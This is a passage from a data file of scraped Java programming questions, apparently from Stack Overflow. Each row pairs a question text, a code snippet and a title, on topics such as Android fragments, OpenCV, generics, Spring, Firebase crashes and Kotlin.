) { float f=0.0f/0.0f ; std : :cout < < f ; return 0 ; } class Test { public static void main ( String args [ ] ) { float f=0.0f/0.0f ; System.out.println ( f ) ; } } class Test { public static void Main ( string [ ] args ) { float f=0.0f/0.0f ; Console.Write ( f ) ; } },why 0.0f/0.0f does n't generate any runtime error ? +Java,"In order to focus on the problem I will simplify the case to the following - I have an activity A and a fragment F which is adding another fragment Child . The simplified code of each is Activity AFragment FThe code of the child fragment is not relevant to the problem so I wont post it.Using this code everything seemed to work properly until I integrated Firebase and start getting the following crash reportAt first I could n't reproduce the exception but after testing for a while I found that if the developer option Do Not Keep Activities is on it happens almost every time I bring the activity to background and resume it . I think in the normal case it will happen when the activity is put in background and the app get destroyed.After doing some research I come to the conclusion that the actual reason for the crash is that fragment F is set as target fragment for it 's child . I can confirm that if i do n't set the target fragment the crash do not occur.I 'm not absolute sure but it seems that the reason for the crash is that the Child Fragment and its target fragment are in different FragmentManagers . So the first thing I tried was to put all fragments in the activity 's fragment manager.Fragment FThis solved the problem . But lead to another one . When i remove the fragment from the activity ( i want to replace it with another fragment ) . The child fragment failed to save its state because it has a reference to its parent fragment which is removed from the manager.I can try to go deeper and to remove the child fragment when its parent is removed but I have a feeling this is not the right way to do this , after all I think the proper way to do this is using getChildFragmentManager ( ) . Any help , suggestions , guidelines regarding the topic will be very appreciated .","@ Overrideprotected void onCreate ( Bundle savedInstanceState ) { // do some stuff FragmentManager fm = getSupportFragmentManager ( ) ; F f = new F ( ) ; fm.beginTransaction ( ) .add ( R.id.content , f ) .commit ( ) ; } @ Overridepublic View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { // do some stuff FragmentManager fm = getChildFragmentManager ( ) ; FragmentTransaction transaction = fm.beginTransaction ( ) ; ChildFragment childFragment = new ChildFragment ( ) ; childFragment.setTargetFragment ( this , 1 ) ; transaction.add ( R.id.f , childFragment ) ; transaction.commit ( ) ; return view ; } java.lang.RuntimeException : Unable to start activity ComponentInfo { com.test.test/com.test.test.A } : java.lang.IllegalStateException : Fragment no longer exists for key android : target_state : index 1 at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2377 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2429 ) at android.app.ActivityThread.access $ 800 ( ActivityThread.java:151 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1342 ) at android.os.Handler.dispatchMessage ( Handler.java:110 ) at android.os.Looper.loop ( Looper.java:193 ) at android.app.ActivityThread.main ( ActivityThread.java:5341 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:515 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:825 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:641 ) at dalvik.system.NativeStart.main ( Native Method ) @ Overridepublic View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { // do some stuff // I do not want to use private fragment manager but rather use the activity 's // FragmentManager fm = getChildFragmentManager ( ) ; FragmentManager fm = getFragmentManager ( ) ; // do the other stuff } Process : com.test.test , PID : 11047 java.lang.IllegalStateException : Failure saving state : ChildFragment { 423c10f0 # 1 id=0x7f0b0058 } has target not in fragment manager : F { 423c0f88 } at android.support.v4.app.FragmentManagerImpl.saveAllState ( FragmentManager.java:2618 ) at android.support.v4.app.FragmentController.saveAllState ( FragmentController.java:134 ) at android.support.v4.app.FragmentActivity.onSaveInstanceState ( FragmentActivity.java:571 ) at android.support.v7.app.AppCompatActivity.onSaveInstanceState ( AppCompatActivity.java:515 ) at android.app.Activity.performSaveInstanceState ( Activity.java:1157 ) at android.app.Instrumentation.callActivityOnSaveInstanceState ( Instrumentation.java:1229 )",Exception when trying to save state of nested fragment [ Fragment no longer exists for key android : target_state ] +Java,"Currently I am developing an app , which will detect circles from photos . I have managed to write a code for this , but it either does false negatives or false positives , if I get phone a bit away from PC screen . How can I improve the result ? I mean , there are lots of apps that detect small and unclear circles . [ Update ] I 'm fiddling with values in GaussianBlur and HoughCircles . ChangingImgproc.GaussianBlur ( grayMat , grayMat , new Size ( 9 , 9 ) , 2 , 2 ) ; to Imgproc.GaussianBlur ( grayMat , grayMat , new Size ( 9 , 9 ) , 9 , 9 ) ; and double param1 = 70 , param2 = 72 ; to double param1 = 50 , param2 = 52 ; improve the result , but not enough.Thanks in advance.Right now I use those A-shaped points to test the code , but I want to detect even smaller circles on the photo .","Mat mat = new Mat ( bitmap.getWidth ( ) , bitmap.getHeight ( ) , CvType.CV_8UC1 ) ; Mat grayMat = new Mat ( bitmap.getWidth ( ) , bitmap.getHeight ( ) , CvType.CV_8UC1 ) ; Utils.bitmapToMat ( bitmap , mat ) ; int colorChannels = ( mat.channels ( ) == 3 ) ? Imgproc.COLOR_BGR2GRAY : ( ( mat.channels ( ) == 4 ) ? Imgproc.COLOR_BGRA2GRAY : 1 ) ; Imgproc.cvtColor ( mat , grayMat , colorChannels ) ; Imgproc.GaussianBlur ( grayMat , grayMat , new Size ( 9 , 9 ) , 2 , 2 ) ; // accumulator value double dp = 1.2d ; // minimum distance between the center coordinates of detected circles in pixels double minDist = 100 ; int minRadius = 0 , maxRadius = 0 ; double param1 = 70 , param2 = 72 ; Mat circles = new Mat ( bitmap.getWidth ( ) , bitmap.getHeight ( ) , CvType.CV_8UC1 ) ; Imgproc.HoughCircles ( grayMat , circles , Imgproc.CV_HOUGH_GRADIENT , dp , minDist , param1 , param2 , minRadius , maxRadius ) ; int numberOfCircles = 9 ; if ( numberOfCircles > circles.cols ( ) ) { numberOfCircles = circles.cols ( ) ; } for ( int i=0 ; i < numberOfCircles ; i++ ) { double [ ] circleCoordinates = circles.get ( 0 , i ) ; if ( circleCoordinates == null ) { break ; } int x = ( int ) circleCoordinates [ 0 ] , y = ( int ) circleCoordinates [ 1 ] ; Point center = new Point ( x , y ) ; android.graphics.Point centerC = new android.graphics.Point ( x , y ) ; int radius = ( int ) circleCoordinates [ 2 ] ; Core.circle ( mat , center , radius , new Scalar ( 0 , 255 , 0 ) , 4 ) ; Core.rectangle ( mat , new Point ( x - 5 , y - 5 ) , new Point ( x + 5 , y + 5 ) , new Scalar ( 0 , 128 , 255 ) , -1 ) ;",Android OpenCV Improving detection quality +Java,"I have the following test code : The compiler issues an unchecked cast warning related to the linesince event comes out of key.pollEvents ( ) as a WatchEvent < ? > , and the compiler ca n't tell if during runtime it 's really going to contain a Path , and not something else.Regarding this , I was wondering if it 's possible to get rid of this warning without explicitly suppressing it . I found some hint , although related to quite different situations , like this , but here it seems that they can control how the generic list is built , while in my case this is n't possible.I also found this , where they suggest to suppress the warning , checking at the same time if the actual type is the correct one ( since the compiler ca n't do it on its own ) , but I could n't manage to do something along these lines in my case . Is it possible ? How would you do it ? On the other hand , in my case I 'm getting these WatchEvent 's from a WatchService registered with a Path object : is this fact alone enough to prove that every WatchEvent < ? > coming out from this WatchService < ? > will have a Path type implementation ? If this is true , can I safely assume that the cast will always be correct and suppress the warning ? Is there any way to avoid it without suppressing it in this case ? Thank you very much.EDITI could have immediately checked the references that explicitly state that : T context ( ) Returns the context for the event.In the case of ENTRY_CREATE , ENTRY_DELETE , and ENTRY_MODIFY events the context is a Path that is the relative path between the directory registered with the watch service , and the entry that is created , deleted , or modified.So in my case I 'm watching for ENTRY_MODIFY events , hence my T type is definetely a Path .","FileSystem fs = FileSystems.getDefault ( ) ; Path conf = fs.getPath ( `` . `` ) ; WatchKey key = null ; try { WatchService watcher = fs.newWatchService ( ) ; conf.register ( watcher , StandardWatchEventKinds.ENTRY_MODIFY ) ; while ( true ) { key = watcher.take ( ) ; // waits for ( WatchEvent < ? > event : key.pollEvents ( ) ) { WatchEvent.Kind < ? > kind = event.kind ( ) ; if ( StandardWatchEventKinds.OVERFLOW == kind ) continue ; WatchEvent < Path > ev = ( WatchEvent < Path > ) event ; Path file = ev.context ( ) ; System.out.println ( file ) ; } } } catch ( IOException | InterruptedException e ) { throw new RuntimeException ( e.getMessage ( ) , e ) ; } WatchEvent < Path > ev = ( WatchEvent < Path > ) event ;",Java - Is it safe to suppress unchecked cast warning with WatchEvent ? +Java,"I 'm using flux of FileParts to upload files @ RequestPart ( FILES ) Flux < FilePart > filesAnd trying to limit maximum size of files . Looks like old way does not work : And I dont have any methods to get file size in FilePart interface . So is ther any way to limit max size of uploaded file in webflux , whithout copying it ? I know that there are headers like Content-Length , but it does not look secure way .",spring.servlet.multipart.max-file-size=1MBspring.servlet.multipart.max-request-size=1MB,Spring WebFlux : set max file ( s ) size for uploading files +Java,"Languages that have closures , such as Ruby , enable elegant constructs to transform lists . Suppose we have a classand a list of terms List < QueryTerm > terms , that we want to transform into its list of values List < String > values.In Ruby we could write something like : Java forces us to construct the result list and iterate through the terms collection ourselves ( at least there is no iterator or index position involved since foreach was introduced ) : Apache Commons and Google Collections2 try to emulate closures in Java by using anonymous classes : The weird thing is , that this version has more lines of code and more characters than the original version ! I would assume it is harder to understand for this reason . Therefore I dismissed the idea back when I saw it in Apache Commons . However , having seen it introduced in Google Collections recently I am starting to wonder if I am missing something.Therefore my question : What is your opinion of the constructs above ? Do you consider the Collections2.transform ( ) version more readable/understandable than the default one ? Am I missing something completely ? Best regards , Johannes","class QueryTerm { String value ; public String getValue ( ) { ... } } values1 = terms.collect do |term| term.getValue ( ) end Collection < String > values2 = new HashSet < String > ( ) ; for ( QueryTerm term : terms ) { values2.add ( term.getValue ( ) ) ; } Collection < String > values3 = Collections2.transform ( terms , new Function < QueryTerm , String > ( ) { @ Override public String apply ( QueryTerm term ) { return term.getValue ( ) ; } } ) ;",Does simulation of closures in Java make sense ? +Java,"I have a badly created container object that holds together values of different java types ( String , Boolean etc .. ) And we extract values from it in this wayI am forced to write some new code using this object and I am trying to see if there is clean way to do this . More specifically which method from the below is preferred ? Explicit CastUsing generic castUsing Class.castI have gone through several related questions on SO Java generic function : how to return Generic type , Java generic return type all of them seem to say the such typecasting is dangerous , ALthough I dont see much difference between the three , given this which method would you prefer ? Thanks","public class BadlyCreatedClass { public Object get ( String property ) { ... ; } } ; String myStr = ( String ) badlyCreatedObj.get ( `` abc '' ) ; Date myDate = ( Date ) badlyCreatedObj.get ( `` def '' ) ; String myStr = ( String ) badlyCreatedObj.get ( `` abc '' ) Date myDate = ( Date ) badlyCreatedObj.get ( `` def '' ) ; public < X > X genericGet ( String property ) { } public String getString ( String property ) { return genericGet ( property ) ; } public Date getDate ( String property ) { return genericGet ( property ) ; } < T > T get ( String property , Class < T > cls ) { ; }",Java generics and typecasting +Java,"I am working on decompressing Zip archives . As there are two types of archives - Zip and GZip.I am using following But it is giving following error for GZip types of archivesThis code is working fine for Zip compressed type archives , not for GZipIs there a way to use the above code as I have existing functionality using ZipFile across various functions.If I change ZipFile interface to ZipInputStream or GZipInputStream , then I need to change multiple things.EDIT : If incoming archives are of type Zip and GZip , do I need different implementation as per @ Joachim Sauer 's comment","ZipFile zipFile = new ZipFile ( file , ZipFile.OPEN_READ ) ; java.util.zip.ZipException : error in opening zip fileat java.util.zip.ZipFile.open ( Native Method )","why ZipFile ( file , ZipFile.OPEN_READ ) does not work for GZip" +Java,"We have some beans defined in our ApplicationConfig like so -And this is how they are used in code -Similarly other beans are named the same as the method that is expected to produce them.The application works fine but I 'm a bit surprised by this , I 'm not sure if the bean with the Admin credentials is being autowired everywhere by chance or if the correct beans are being wired in due to some implementation details of Spring ? I thought that it was mandatory to specify a qualifier if Autowiring could produce ambiguous . Assuming that this works as expected , is there any reason for us to qualify these beans ?",@ BeanS3Repository s3Repository ( ) { AmazonS3 s3 = new AmazonS3Client ( s3AdminReadWriteCreds ( ) ) ; return new S3Repository ( s3 ) ; } @ BeanS3Repository s3PrivateContentRepository ( ) { AmazonS3 s3 = new AmazonS3Client ( readOnlyS3Creds ( ) ) ; return new S3Repository ( s3 ) ; } @ BeanS3Repository s3SyncFilesContentRepository ( ) { AmazonS3 s3 = new AmazonS3Client ( readOnlySpecificBucketCreds ( ) ) ; return new S3Repository ( s3 ) ; } public class AssetReader { @ Autowiredprivate S3Repository s3PrivateContentRepository ; ... . used inside the class ... . },Does Spring Autowire by method names for Java Config +Java,"I have created an app that checks a payload of an NFC tag , and when it matches the app toggles Bluetooth.Unfortunately the app seems to be entering into an infinite loop , where it asks the user for permission to manipulate Bluetooth , ignores the choice and launches again ( asking the same question/Activity again ) . onActivityResult seems to not be getting called.Output from my console log calls is : If I continue to hit 'Yes ' on the permission Activity then Bluetooth toggles indefnitely , and the console log ( logcat ) looks like : and so on.AndroidManifest lists the correct permissions , please see below : The CardActivity.java file , which is what launches this Bluetooth chaos can be found below : You can see that , according to logcat , onActivityResults and thus closeApp do not get called.I am testing on a Nexus 7 . Tag is fine , I 've tested with various NFC readers.There are some errors from logcat when the tag is scanned , but they do n't seem to make much sense to me . See below : Massive thanks for any help on this . As you can probably imagine , it is driving me mad : )","Payload : 'quicktags-togglebluetooth'Bluetooth should now be on Payload : quicktags-togglebluetoothBluetooth should now be onBluetooth should now be offBluetooth should now be onBluetooth should now be offBluetooth should now be onBluetooth should now be off < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' com.getquicktags.qt '' android : versionCode= '' 1 '' android : versionName= '' 1.0 '' android : installLocation= '' auto '' > < uses-sdk android : minSdkVersion= '' 14 '' android : targetSdkVersion= '' 14 '' / > < uses-permission android : name= '' android.permission.NFC '' / > < uses-permission android : name= '' android.permission.BLUETOOTH '' / > < uses-permission android : name= '' android.permission.BLUETOOTH_ADMIN '' / > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-feature android : name= '' android.hardware.nfc '' android : required= '' true '' / > < application android : icon= '' @ drawable/ic_launcher '' android : label= '' @ string/app_name '' > < activity android : name= '' .MainActivity '' android : label= '' @ string/app_name '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .CardActivity '' android : label= '' @ string/app_name '' > < ! -- Handle a collectable card NDEF record -- > < intent-filter > < action android : name= '' android.nfc.action.NDEF_DISCOVERED '' / > < data android : mimeType= '' application/vnd.getquicktags.qt '' / > < category android : name= '' android.intent.category.DEFAULT '' / > < /intent-filter > < /activity > < /application > < /manifest > package com.getquicktags.qt ; import android.app.Activity ; import android.app.AlertDialog ; import android.content.DialogInterface ; import android.content.DialogInterface.OnClickListener ; import android.content.Intent ; import android.nfc.NdefMessage ; import android.nfc.NdefRecord ; import android.nfc.NfcAdapter ; import android.os.Bundle ; import android.os.Parcelable ; import android.util.Log ; import android.bluetooth . * ; public class CardActivity extends Activity implements OnClickListener { private static final String TAG = null ; @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.card_activity ) ; // see if app was started from a tag and show game console Intent intent = getIntent ( ) ; if ( intent.getType ( ) ! = null & & intent.getType ( ) .equals ( MimeType.NFC_DEMO ) ) { Parcelable [ ] rawMsgs = getIntent ( ) .getParcelableArrayExtra ( NfcAdapter.EXTRA_NDEF_MESSAGES ) ; NdefMessage msg = ( NdefMessage ) rawMsgs [ 0 ] ; NdefRecord cardRecord = msg.getRecords ( ) [ 0 ] ; String payload = new String ( cardRecord.getPayload ( ) ) ; Log.d ( TAG , `` Payload : ' '' + payload + '' ' '' ) ; if ( payload.equals ( `` quicktags-togglebluetooth '' ) ) { toggleBluetooth ( ) ; } } } private void toggleBluetooth ( ) { BluetoothAdapter mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter ( ) ; if ( mBluetoothAdapter == null ) { // Device does not support Bluetooth Log.d ( TAG , `` No Bluetooth on device '' ) ; closeApp ( ) ; } if ( ! mBluetoothAdapter.isEnabled ( ) ) { Intent enableBtIntent = new Intent ( BluetoothAdapter.ACTION_REQUEST_ENABLE ) ; startActivityForResult ( enableBtIntent , 1 ) ; Log.d ( TAG , `` Bluetooth should now be on '' ) ; } else { // Turn it off mBluetoothAdapter.disable ( ) ; Log.d ( TAG , `` Bluetooth should now be off '' ) ; closeApp ( ) ; } } @ Override protected void onActivityResult ( int requestCode , int resultCode , Intent data ) { super.onActivityResult ( requestCode , resultCode , data ) ; // Close the app Log.d ( TAG , `` Close the app call '' ) ; closeApp ( ) ; } private void closeApp ( ) { Log.d ( TAG , `` And ... close it . This is inside closeApp ( ) '' ) ; android.os.Process.killProcess ( android.os.Process.myPid ( ) ) ; } public void onClick ( DialogInterface dialog , int which ) { // TODO Auto-generated method stub } } 01-07 00:18:41.595 : E/bt-btif ( 5830 ) : btif_enable_service : current services:0x10002001-07 00:18:41.605 : E/bt-btif ( 5830 ) : btif_enable_service : current services:0x14002001-07 00:18:41.605 : E/bt-btif ( 5830 ) : btif_enable_service : current services:0x14002001-07 00:18:42.415 : E/bt-btif ( 5830 ) : Calling BTA_HhEnable01-07 00:18:42.415 : E/btif_config.c ( 5830 ) : # # btif_config_get assert section & & *section & & key & & *key & & name & & *name & & bytes & & type failed at line:186 # # 01-07 00:18:42.415 : E/bt-btif ( 5830 ) : btif_storage_get_adapter_property service_mask:0x14002001-07 00:18:42.435 : E/btif_config.c ( 5830 ) : # # btif_config_get assert section & & *section & & key & & *key & & name & & *name & & bytes & & type failed at line:186 # # 01-07 00:18:42.445 : E/bt_h4 ( 5830 ) : vendor lib postload completed01-07 00:18:42.545 : E/BluetoothServiceJni ( 5830 ) : SOCK FLAG = 1 ***********************01-07 00:18:42.605 : E/BluetoothServiceJni ( 5830 ) : SOCK FLAG = 0 ***********************01-07 00:18:42.715 : E/BtOppRfcommListener ( 5830 ) : Error accept connection java.io.IOException : read failed , socket might closed , read ret : -101-07 00:18:42.915 : E/bt-btif ( 5830 ) : BTA AG is already disabled , ignoring ... 01-07 00:18:42.935 : E/bt-btif ( 5830 ) : btif_disable_service : Current Services:0x14002001-07 00:18:42.945 : E/bt-btif ( 5830 ) : btif_disable_service : Current Services:0x10002001-07 00:18:42.945 : E/bt-btif ( 5830 ) : btif_disable_service : Current Services:0x100020",Infinite Activity Loop when toggling Bluetooth +Java,"I am making a program where you can click on a map to see a `` close-up view '' of the area around it , such as on Google Maps.When a user clicks on the map , it gets the X and Y coordinate of where they clicked.Let 's assume that I have an array of booleans of where these close-up view pictures are : The program searches through a folder , where images are named to where the X and Y coordinate of where it was taken on the map . The folder contains the following images ( and more , but I 'll only list five ) : This means that : If a user clicks at the X and Y of , for example , 2377,1882 , then I need the program to figure out which image is closest ( the answer in this case would be 2377,1881 ) .Any help would be appreciated , Thanks .","public static boolean [ ] [ ] view_set=new boolean [ Map.width ] [ Map.height ] ; //The array of where pictures are . The map has a width of 3313 , and a height of 3329 . 2377,1881.jpg , 2384,1980.jpg , 2389,1923.jpg , 2425,1860.jpg , 2475,1900.jpg view_set [ 2377 ] [ 1881 ] =true ; view_set [ 2384 ] [ 1980 ] =true ; view_set [ 2389 ] [ 1923 ] =true ; view_set [ 2425 ] [ 1860 ] =true ; view_set [ 2475 ] [ 1900 ] =true ;",Closest Point on a Map +Java,"While writing a crypto utility class I ran into a problem with the following method : In the particular case of javax.crypto.spec.SecretKeySpec the above method would work just fine in java7 because SecretKeySpec ( javadocs 7 ) does not implement Destroyable ( javadocs 7 ) Now with java8 the class SecretKeySpec ( javadocs 8 ) has been made Destroyable ( javadocs 8 ) and the method Destroyable # destroy is now default which is fine according this statement Default methods enable you to add new functionality to the interfaces of your libraries and ensure binary compatibility with code written for older versions of those interfaces.then the code compiles without any problems despite the fact that the class ScretKeySpec itself has not been changed , alone the interface SecretKey has been.The problem is that in oracle 's jdk8 the destroy method has the following implementation : which leads to an exception at run time . So the binary compatibility might not have been broken , but existing code has been . The test above passes with java7 but does not with java8So my questions are : How to deal in general with default methods which might lead to exceptions - because not implemented or not supported - or unexpected behavior at run time ? aside from doing which is only valid for java8 and which might not be correct in future releases , since the default method might get a meaningful implementation.Would it not be better to leave this default method empty instead of throwing an exception ( which IMO is misleading since aside from the legit call to destroy nothing has been attempted to effectively destroy the key , an UnsupportedOperationException would have been a better fit and you would know instantly what is going on ) Is my approach with ( type check/cast/call ) for determining whether to destroy or not wrong ? What would be an alternative ? Is this a misconception or did they just forget to add meaningful implementation in ScretKeySpec ?","public static void destroy ( Key key ) throws DestroyFailedException { if ( Destroyable.class.isInstance ( key ) ) { ( ( Destroyable ) key ) .destroy ( ) ; } } @ Testpublic void destroySecretKeySpec ( ) { byte [ ] rawKey = new byte [ 32 ] ; new SecureRandom ( ) .nextBytes ( rawKey ) ; try { destroy ( new SecretKeySpec ( rawKey , `` AES '' ) ) ; } catch ( DestroyFailedException e ) { Assert.fail ( ) ; } } public default void destroy ( ) throws DestroyFailedException { throw new DestroyFailedException ( ) ; } Method method = key.getClass ( ) .getMethod ( `` destroy '' ) ; if ( ! method.isDefault ( ) ) { ( ( Destroyable ) key ) .destroy ( ) ; } if ( Destroyable.class.isInstance ( key ) ) ( ( Destroyable ) key ) .destroy ( ) ;",java8 : dealing with default methods +Java,"Consider the problem : We have a Base class with an abstract method . Now , we would like to enforce that every override of this method will perform some argument checking or some other drudgery . We want this argument checking to be identical across all overrides . One solution would be to wrap this behavior in a non-abstract method which calls an abstract one : I would like to have Base : :execute private , such that no subclass of Base can call it by accident without checking its arguments . Unfortunately , this is not possible : Error : ( 9 , 5 ) Kotlin : Modifier 'private ' is incompatible with 'abstract'Kotlin 's protected is better than Java 's protected , since it makes the function accessible only to subclasses but still , the ideal case would be private.So is there some right way to implement this pattern ? Also , just out of curiosity , is the incompatibility of private and abstract a deliberate choice of language design ?","abstract class Base { fun computeSomething ( argument : Int ) : Int { require ( argument > 0 ) // Some intricate checking return execute ( argument ) } // Pure functionality , assuming correct arguments // Ideally , this would be private . protected abstract fun execute ( validArgument : Int ) : Int } class Derived1 : Base ( ) { override fun execute ( validArgument : Int ) : Int = validArgument * validArgument } class Derived2 : Base ( ) { override fun execute ( validArgument : Int ) : Int = validArgument * validArgument * validArgument } fun main ( args : Array < String > ) { val d = Derived1 ( ) println ( d.computeSomething ( 23 ) ) }",How to implement the template method design pattern in Kotlin ? +Java,"What do you normally write when you 're testing for the return value of indexOf ? vsWould one method be preferred over the other ? I 'm actually posing this question for any function in any language that returns -1 on error.I normally prefer the < 0 approach , because if the function is extended to return -2 on some other case , the code would still work.However , I notice that the == -1 approach is more commonly used . Is there a reason why ?",if str.indexOf ( `` a '' ) < 0 if str.indexOf ( `` a '' ) == -1,Best practice for testing return value of indexOf +Java,"In a unit test project , I need some help figuring out how how I can hide 2 unnecessary parent nodes in marshaled XML ? Can anyone help me figure out how to do it ? My marshalled output looks like this : But I want to hide the unnecessary `` rowArgs '' and `` arg '' tag so that the the remaining nodes are immediately under the test node . How can I do this ? You can see my code HERE , if it helps you to help me . I suspect I need to write my own transformer ? I 'll work on that experiment in the meanwhile .",< suite > < suiteName > Suite 1 < /suiteName > < sauceURL > http : //username-string : access-key-string @ ondemand.saucelabs.com:80/wd/hub < /sauceURL > < tests > < test > < rowArgs > < arg > < enabled type= '' java.lang.Boolean '' > true < /enabled > < /arg > < arg > < testname type= '' java.lang.String '' > Test 1 < /testname > < /arg > < arg > < environment type= '' java.lang.String '' > portal1 < /environment > < /arg > < arg > < testlocale type= '' java.lang.String '' > Grid < /testlocale > < /arg > < arg > < browser type= '' java.lang.String '' > Firefox < /browser > < /arg > < arg > < url type= '' java.lang.String '' > http : //google.com < /url > < /arg > < /rowArgs > < /test > ...,XStream : how can I hide 2 unnecessary parent nodes in marshaled XML ? +Java,I 'm having an issue in Java calculating the current date minus a certain amount of days.I have : This is returning Tue Feb 16 09:04:18 EST 2016 when it should actually return Tue Dec 28 16:06:11 EST 2015 ( 25 days into the past ) .What 's very strange is that for any number under 25 days works completely fine : As in 24 days into the past returns a predictable Tue Dec 29 16:06:11 EST 2015 . Any help would be appreciated .,Date pastDate = new Date ( new Date ( ) .getTime ( ) - ( 1000 * 60 * 60 * 24 * 25 ) ) ; Date pastDate = new Date ( new Date ( ) .getTime ( ) - ( 1000 * 60 * 60 * 24 * 24 ) ) ;,Java calculating past date from today is going into the future +Java,We are using Firebase Messaging in Android app and since last week we reported many crashes from Samsung devices . The problem is not related with any of our classes . We are not using AlarmManager etc.Here are the stacktraces:1 ) Parcel.java2 ) In Binder.javaDo you have similar problems ? Do you know what could be a potential problem ? I 'm using firebase @ 9.6.1,Fatal Exception : java.lang.SecurityException : ! @ Too many alarms ( 500 ) registered from pid 13776 uid 10011 at android.os.Parcel.readException ( Parcel.java:1540 ) at android.os.Parcel.readException ( Parcel.java:1493 ) at android.app.IAlarmManager $ Stub $ Proxy.set ( IAlarmManager.java:206 ) at android.app.AlarmManager.setImpl ( AlarmManager.java:428 ) at android.app.AlarmManager.set ( AlarmManager.java:215 ) at com.google.firebase.iid.FirebaseInstanceIdService.zzah ( Unknown Source ) at com.google.firebase.iid.FirebaseInstanceIdService.zzag ( Unknown Source ) at com.google.firebase.iid.FirebaseInstanceIdService.zzag ( Unknown Source ) at com.google.firebase.iid.FirebaseInstanceIdService.zzm ( Unknown Source ) at com.google.firebase.iid.zzb $ 2.run ( Unknown Source ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1112 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:587 ) at java.lang.Thread.run ( Thread.java:818 ) Fatal Exception : java.lang.RuntimeException : Error receiving broadcast Intent { act=android.net.conn.CONNECTIVITY_CHANGE flg=0x4000010 ( has extras ) } in com.google.firebase.iid.FirebaseInstanceIdService $ 1 @ 12533ba at android.app.LoadedApk $ ReceiverDispatcher $ Args.run ( LoadedApk.java:891 ) at android.os.Handler.handleCallback ( Handler.java:746 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5443 ) at java.lang.reflect.Method.invoke ( Method.java ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:728 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:618 ) Caused by java.lang.RuntimeException : Failure from system at android.app.ContextImpl.sendBroadcast ( ContextImpl.java:772 ) at android.content.ContextWrapper.sendBroadcast ( ContextWrapper.java:396 ) at com.google.firebase.iid.FirebaseInstanceIdService $ 1.onReceive ( Unknown Source ) at android.app.LoadedApk $ ReceiverDispatcher $ Args.run ( LoadedApk.java:881 ) at android.os.Handler.handleCallback ( Handler.java:746 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5443 ) at java.lang.reflect.Method.invoke ( Method.java ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:728 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:618 ) Caused by android.os.DeadObjectException at android.os.BinderProxy.transactNative ( Binder.java ) at android.os.BinderProxy.transact ( Binder.java:503 ) at android.app.ActivityManagerProxy.broadcastIntent ( ActivityManagerNative.java:3075 ) at android.app.ContextImpl.sendBroadcast ( ContextImpl.java:767 ) at android.content.ContextWrapper.sendBroadcast ( ContextWrapper.java:396 ) at com.google.firebase.iid.FirebaseInstanceIdService $ 1.onReceive ( Unknown Source ) at android.app.LoadedApk $ ReceiverDispatcher $ Args.run ( LoadedApk.java:881 ) at android.os.Handler.handleCallback ( Handler.java:746 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5443 ) at java.lang.reflect.Method.invoke ( Method.java ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:728 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:618 ),Firebase Messaging - `` too many alarms '' on Samsung 's Android devices +Java,"Can somebody explain why the second class does not compile ? 1 Compiles fine using javac and JDK 6 ( Eclipse will complain this code ) 2 A little change to that example , and compilation fails with the following error : The only change is return type on the method : thats how main method for first class will look :",public class SameSignatureMethods { public < T extends String > Boolean test ( ) { return true ; } public < T extends Character > Double test ( ) { return 1d ; } } name clash : < T > test ( ) and < T > test ( ) have the same erasure public class SameSignatureMethods { public < T extends String > Boolean test ( ) { return true ; } public < T extends Character > Boolean test ( ) { return true ; } } public static void main ( String [ ] args ) { SameSignatureMethods m = new SameSignatureMethods ( ) ; System.out.println ( `` m. < Character > test ( ) = '' + m. < Character > test ( ) ) ; System.out.println ( `` m. < String > test ( ) = '' + m. < String > test ( ) ) ; },Is return type part of the erasure ? +Java,"Problem [ Here follows a description of what the app should do under which constrains ] I want a data-structure that searches if a string exists in a 250,000 word-list , while using only a fair amount of ram and keeping the time it takes to load this data-structure into ram small ( let 's say 0-8 seconds ) . The time it takes to find a word should also be quick ( let 's say 0 to 0.5 second ) , but ram usage is more important . It should also be possible to create multiple games ( more on what this game is about at the title `` use '' ) without needing significant more memory . It would also be highly valuable to know which words start with a string , but not enough so to sacrifice load-time by many seconds.UseIt is for an Android offline game . Limited ram is available . The maximum amount of ram an Application can use according to this post is between 16-32mb ram depending on the device . My empty Android Application already uses about 17mb ( using Memory Monitor in Android Studio ) . My android device caps the ram usage off at 26mb , leaving me at about 8mb of free space for my whole Activity.Options I triedThey all seem doomed in different ways.Hashmap - Read all words into a hash-map object.1.1 initialize speed : slow to read each word into the Hash-map with 23 seconds.1.2 ram usage : uses significant amount of ram , although I forgot how much exactly.1.3 search speed : Finding if a word existed in the list was quick of course.1.4 narrowing down on possible words ( optional ) : slow , needs to go through the whole hash-map and delete them one by one . Also because it 's using deletion , multiple games wo n't be able 